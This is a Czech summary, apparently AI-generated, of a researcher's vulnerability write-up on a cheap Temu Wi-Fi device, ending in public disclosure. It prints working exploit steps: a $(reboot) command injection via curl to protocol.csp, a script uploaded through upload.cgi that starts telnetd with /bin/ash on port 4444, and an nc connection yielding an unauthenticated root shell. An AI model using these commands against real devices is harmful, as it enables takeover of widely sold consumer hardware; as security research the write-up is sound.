Analýza zranitelností levného Wi-Fi zařízení (shrnutí ChatGPT 5.3)
Kontext
Autor rád kupuje levná embedded zařízení a hledá v nich bezpečnostní chyby.
Embedded zařízení často obsahují velmi slabé zabezpečení.
Testované zařízení:
prodává se na Temu
původní cena 30 USD, nyní 5 USD (−84 %)
nejprodávanější Wi-Fi/networking produkt na platformě
více než 100 000 prodaných kusů
Z pohledu globální bezpečnosti je to problém: velké množství potenciálně zranitelných zařízení.
1. První zranitelnost – command injection přes webové rozhraní
Po připojení zařízení:
- otevře se webové administrační rozhraní.
- autor zkusí typický test na embedded zařízení.
Test:
$(reboot)
Princip:
- pokud aplikace nefiltruje vstup a předává ho do
system() nebo shellu,
- lze spustit libovolný příkaz.
Výsledek:
- příkaz
reboot se skutečně spustí.
Vedlejší efekt:
Výsledek:
- soft brick zařízení (nekonečná reboot smyčka).
2. Obnovení zařízení odhalilo servisní rozhraní
Po 60 sekundách držení reset tlačítka:
- zařízení přepne do jiného režimu
- IP adresa se změní
- objeví se Breed bootloader web interface
Obsah rozhraní:
- informace o zařízení
- CPU
- build date
- git commit
- diagnostika systému
Zásadní položka:
Firmware backup
Možnosti:
- upload firmware
- download firmware
Výsledek:
- zařízení umožňuje stáhnout celý firmware (
full.bin).
To je pro výzkumníka ideální.
3. Extrakce firmware
Použitý nástroj:
binwalk -e full.bin
Výsledek:
- extrahovaný SquashFS filesystem
- kompletní obsah systému zařízení
To znamená:
- všechny binárky
- skripty
- web server
- konfigurace
4. Analýza webového rozhraní
Postup:
- otevřít Network tab v prohlížeči
- sledovat HTTP požadavky.
Zajímavý request:
protocol.csp
fname=net
opt=wizard_config
Podezření:
- server má custom API endpoint.
5. Hledání handleru ve firmware
Vyhledání stringu:
protocol.csp
nalezeno v konfiguraci:
/etc/lightyproxy.conf
Zjištění:
- požadavky se přeposílají na port 81
- obsluhuje je binární program
comm
6. Reverse engineering binárky
Použit nástroj:
Ghidra
Struktura:
- assembly
- dekompilace (odhad C kódu)
Analýza:
- nalezena lookup tabulka funkcí
- mapuje:
string → handler funkce
Například:
wizard_config → funkce
time_config → funkce
7. Kritická zranitelnost v time_config
Dekomilovaný kód (logika):
get_param("time")
sprintf(buffer, "date %s", user_input)
system(buffer)
Problém:
- uživatelský vstup jde přímo do system()
- žádná sanitizace.
Výsledek:
Remote Command Execution (RCE).
8. Exploit přes curl
Test:
curl http://192.168.11.1/protocol.csp \
fname=net \
opt=time_config \
function=set \
time=$(reboot)
Výsledek:
- zařízení se restartuje
- potvrzení command injection.
9. Získání shellu
Cíl:
- získat interaktivní shell.
Ve firmware nalezen program:
/usr/sbin/telnetd
Použití:
- spustit telnet server
- login program =
/bin/ash
Problém:
- exploit přes HTTP měl problémy se spuštěním.
10. Využití upload CGI
Další nalezený endpoint:
/webs/cgi-bin/upload.cgi
Slouží pro:
- upload firmware při update.
Funguje přes:
multipart/form-data
Upload:
curl -F "file=@script.sh" http://device/webs/cgi-bin/upload.cgi
Soubor se uloží:
/tmp/firmware
11. Spuštění vlastního skriptu
Postup:
- upload skriptu
- nastavit executable
- spustit.
Skript:
#!/bin/ash
/usr/sbin/telnetd -p 4444 -l /bin/ash
12. Připojení k zařízení
nc 192.168.11.1 4444
Výsledek:
root shell
Útočník má plný přístup k zařízení.
Další zajímavý trik
Protože web server servíruje:
/webs
lze zapisovat výstup příkazů do webového adresáře:
ps > /webs/he
pak:
curl http://device/he
Výsledek:
- vzdálené čtení výstupu příkazů.
Dopady
Zařízení obsahuje několik kritických chyb:
- Command injection ve web API
- Možnost stáhnout firmware
- Upload CGI bez kontroly
- Možnost spustit telnet server
- Root shell bez autentizace
Responsible disclosure
Autor se pokusil:
- identifikovat výrobce zařízení
- nahlásit chybu.
Problém:
- nenašel žádnou firmu, která by zařízení vyráběla.
Proto zveřejnil výzkum veřejně.